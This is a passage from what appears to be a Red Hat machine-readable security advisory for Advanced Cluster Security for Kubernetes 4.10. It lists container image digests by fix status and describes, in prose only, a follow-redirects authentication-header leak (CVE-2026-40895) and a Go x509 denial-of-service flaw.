"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation"
},
{
"cve": "CVE-2026-40895",
"cwe": {
"id": "CWE-212",
"name": "Improper Removal of Sensitive Information Before Storage or Transfer"
},
"discovery_date": "2026-04-21T21:02:33.280553+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2460297"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in follow-redirects. When an HTTP request follows a cross-domain redirect (a redirection to a different domain), custom authentication headers, such as X-API-Key or X-Auth-Token, are not properly stripped. This allows these sensitive headers to be forwarded verbatim to the redirect target, potentially leading to the unintended disclosure of authentication information to an untrusted third party.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "follow-redirects: follow-redirects: Information disclosure via cross-domain redirects",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
